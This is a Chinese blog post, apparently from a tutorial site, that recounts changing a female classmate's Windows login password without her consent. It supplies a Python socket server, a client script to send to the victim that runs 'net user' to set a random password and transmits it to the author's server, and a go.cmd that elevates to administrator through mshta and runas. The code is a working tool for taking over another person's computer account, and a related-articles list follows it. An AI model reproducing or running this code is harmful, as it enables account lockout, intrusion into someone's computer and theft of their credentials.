Python还能这么玩之用Python修改了班花的开机密码


Posted in Python onJune 04, 2021

一、前言

Python还能这么玩之用Python修改了班花的开机密码

班花加我说她电话坏了让我看看,那肯定义不容辞!【兴奋了半个小时】没别的我就想秀一下技术!五分钟后我修好了,电脑重启之后显示输入密码,当时没多想直接走了。回去之后我能不能用技术远程解析一下这个开机密码呢,说干就干。

Python还能这么玩之用Python修改了班花的开机密码

二、工具准备

开发环境:win10、python3.7
开发工具:pycharm

三、项目思路解析

一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有女朋)

Python还能这么玩之用Python修改了班花的开机密码

该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)

首先正常流程创建服务端的服务

服务端流程:

  • 创建套接字
  • -绑定ip和端口
  • -设置监听
  • -等待链接
  • -接受数据打印数据
  • -关闭链接
import socket  # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444))  # 绑定IP/端口
server.listen(5)  # 监听
print('***********等待连接*********')
conn, addr = server.accept()  # 连接
print(conn) 
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()

windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)

Python还能这么玩之用Python修改了班花的开机密码

客户端流程:

  • 创建套接字
  • -连接服务端的IP和端口
  • -获取当前使用的电脑账户名
  • -生成随机的电脑密码
  • -在终端执行修改Windows密码的指令
  • -发送修改之后的密码
  • -关闭套接字
import socket  # 导入用到的模块
import getpass
import subprocess
import random

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口))  # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser()  # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
    m = str(random.randrange(0, 10))
    psd = psd + m

subprocess.Popen(['net', 'User', user, psd])  # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8'))  # 将密码发送给server端
back_msg = client.recv(1024)
client.close()  # 关闭socket

到这一步基本就可以自己去尝试了,但是要注意,当前代码只能修改权限是admin的账户。

Python还能这么玩之用Python修改了班花的开机密码

非admin用户需要提高自己的执行权限
直接使用超级管理员权限执行cmd文件
go.cmd

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

start python client.py

四、小结

最后我修改密码成功登陆,竟然发现了她的密码!

Python还能这么玩之用Python修改了班花的开机密码

这铁憨憨C盘满了都不知道清理,一看就是不太懂电脑的亚子!班花那么好看竟然不太懂电脑,真是惊人的发现哩!

PS:最后我啥都没动改回去了!

到此这篇关于Python还能这么玩之用Python修改了班花的开机密码的文章就介绍到这了,更多相关Python修改密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Python实现的Kmeans++算法实例
Apr 26 Python
Python实现脚本锁功能(同时只能执行一个脚本)
May 10 Python
利用Python yagmail三行代码实现发送邮件
May 11 Python
Python OpenCV处理图像之图像直方图和反向投影
Jul 10 Python
详解python中list的使用
Mar 15 Python
python如何删除文件中重复的字段
Jul 16 Python
Pycharm 2019 破解激活方法图文详解
Oct 11 Python
wxPython色环电阻计算器
Nov 18 Python
Pytoch之torchvision.transforms图像变换实例
Dec 30 Python
python连接mysql数据库并读取数据的实现
Sep 25 Python
Python实现树莓派摄像头持续录像并传送到主机的步骤
Nov 30 Python
Python Socket编程详解
Apr 25 Python
Anaconda安装pytorch及配置PyCharm 2021环境
python如何利用cv2模块读取显示保存图片
Jun 04 #Python
Python实现socket库网络通信套接字
Jun 04 #Python
python cv2图像质量压缩的算法示例
Jun 04 #Python
高考要来啦!用Python爬取历年高考数据并分析
单身狗福利?Python爬取某婚恋网征婚数据
告别网页搜索!教你用python实现一款属于自己的翻译词典软件
You might like
php文件打包 下载之使用PHP自带的ZipArchive压缩文件并下载打包好的文件
2012/06/13 PHP
PHP的魔术常量__METHOD__简介
2014/07/08 PHP
php中in_array函数用法探究
2014/11/25 PHP
使用GDB调试PHP代码,解决PHP代码死循环问题
2015/03/02 PHP
从零学JS之你需要了解的几本书
2014/05/19 Javascript
node.js中的path.delimiter方法使用说明
2014/12/09 Javascript
angularJS 中input示例分享
2015/02/09 Javascript
jQuery使用post方法提交数据实例
2015/03/25 Javascript
JS+CSS实现的简单折叠展开多级菜单效果
2015/09/12 Javascript
基于jQuery实现的无刷新表格分页实例
2016/02/17 Javascript
Sea.JS知识总结
2016/05/05 Javascript
jquery DataTable实现前后台动态分页
2017/06/17 jQuery
详解node nvm进行node多版本管理
2017/10/21 Javascript
利用nodeJs anywhere搭建本地服务器环境的方法
2018/05/12 NodeJs
vue 中滚动条始终定位在底部的方法
2018/09/03 Javascript
Vue 实时监听窗口变化 windowresize的两种方法
2018/11/06 Javascript
在vue中使用jsx语法的使用方法
2019/09/30 Javascript
JS实现悬浮球只在一侧滑动并且是横屏状态下
2020/08/19 Javascript
讲解Python的Scrapy爬虫框架使用代理进行采集的方法
2016/02/18 Python
python3模块smtplib实现发送邮件功能
2018/05/22 Python
python代码 输入数字使其反向输出的方法
2018/12/22 Python
对python for 文件指定行读写操作详解
2018/12/29 Python
Django高并发负载均衡实现原理详解
2020/04/04 Python
canvas之万花筒效果的简单实现(推荐)
2016/08/16 HTML / CSS
canvas实现图片马赛克的示例代码
2018/03/26 HTML / CSS
伦敦平价潮流珠宝首饰品牌:Astrid & Miyu
2016/10/10 全球购物
购买一个高级域名:BuyDomains
2018/03/11 全球购物
思想汇报格式
2014/01/05 职场文书
三年大学自我鉴定
2014/01/16 职场文书
品质主管岗位职责
2014/03/16 职场文书
幼儿园开学寄语
2014/04/03 职场文书
向国旗敬礼学生寄语大全
2014/09/30 职场文书
2015年采购部工作总结
2015/04/23 职场文书
2015年质检工作总结
2015/05/04 职场文书
2015年秋季运动会广播稿
2015/08/19 职场文书
2019年怎样才能撰写出优秀的自荐信
2019/03/25 职场文书